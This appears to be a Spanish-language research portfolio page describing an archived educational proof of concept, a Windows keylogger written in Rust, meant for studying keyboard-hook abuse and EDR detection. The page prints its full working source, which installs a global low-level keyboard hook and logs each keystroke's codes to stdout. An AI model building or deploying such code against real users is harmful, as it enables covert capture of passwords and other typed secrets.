Saltar al contenido principal
RaoufResearchOS
Español
Sídney, AustraliaHora actual en Sídney—
Pulsa Escape para cerrar esta ventana.
Prueba de concepto de registro de teclas en Rust

Experimento: 001

Prueba de concepto de registro de teclas en Rust

ARCHIVADO

Ejemplo educativo de registro de teclas en Windows que demuestra SetWindowsHookEx y el encadenamiento correcto de hooks para analizar su detección.

Objetivo

Comprender cómo se pueden usar indebidamente los hooks de mensajes de Windows para interceptar credenciales y cómo los EDR detectan su inyección.

Limitaciones

Solo con fines educativos. No persiste tras reiniciar y registra únicamente en stdout.

  • Rust
  • WinAPI
  • Unsafe
Código fuente · idioma originalsrc/main.rs
1use std::ptr;2use winapi::shared::minwindef::{LPARAM, LRESULT, WPARAM};3use winapi::shared::windef::HHOOK;4use winapi::um::winuser::{5    CallNextHookEx, DispatchMessageW, GetMessageW, SetWindowsHookExW,6    TranslateMessage, UnhookWindowsHookEx, WH_KEYBOARD_LL, KBDLLHOOKSTRUCT,7};89static mut HOOK: HHOOK = ptr::null_mut();1011unsafe extern "system" fn keyboard_proc(12    n_code: i32,13    w_param: WPARAM,14    l_param: LPARAM,15) -> LRESULT {16    if n_code >= 0 {17        let kb = &*(l_param as *const KBDLLHOOKSTRUCT);18        // WM_KEYDOWN = 0x010019        if w_param as u32 == 0x0100 {20            println!("[KEY] vkCode={:03} scanCode={:#06x}", kb.vkCode, kb.scanCode);21        }22    }23    CallNextHookEx(HOOK, n_code, w_param, l_param)24}2526fn main() {27    unsafe {28        HOOK = SetWindowsHookExW(WH_KEYBOARD_LL, Some(keyboard_proc), ptr::null_mut(), 0);29        assert!(!HOOK.is_null(), "Failed to install hook");3031        let mut msg = std::mem::zeroed();32        while GetMessageW(&mut msg, ptr::null_mut(), 0, 0) > 0 {33            TranslateMessage(&msg);34            DispatchMessageW(&msg);35        }36        UnhookWindowsHookEx(HOOK);37    }38}
Código de solo lecturaUTF-8

Buscar

Encuentra un proyecto, una publicación, un artículo o una página.

30 / 41 · Resultados de búsqueda

↑ ↓ Navegación del espacio de trabajoEnter AbrirEsc Cerrar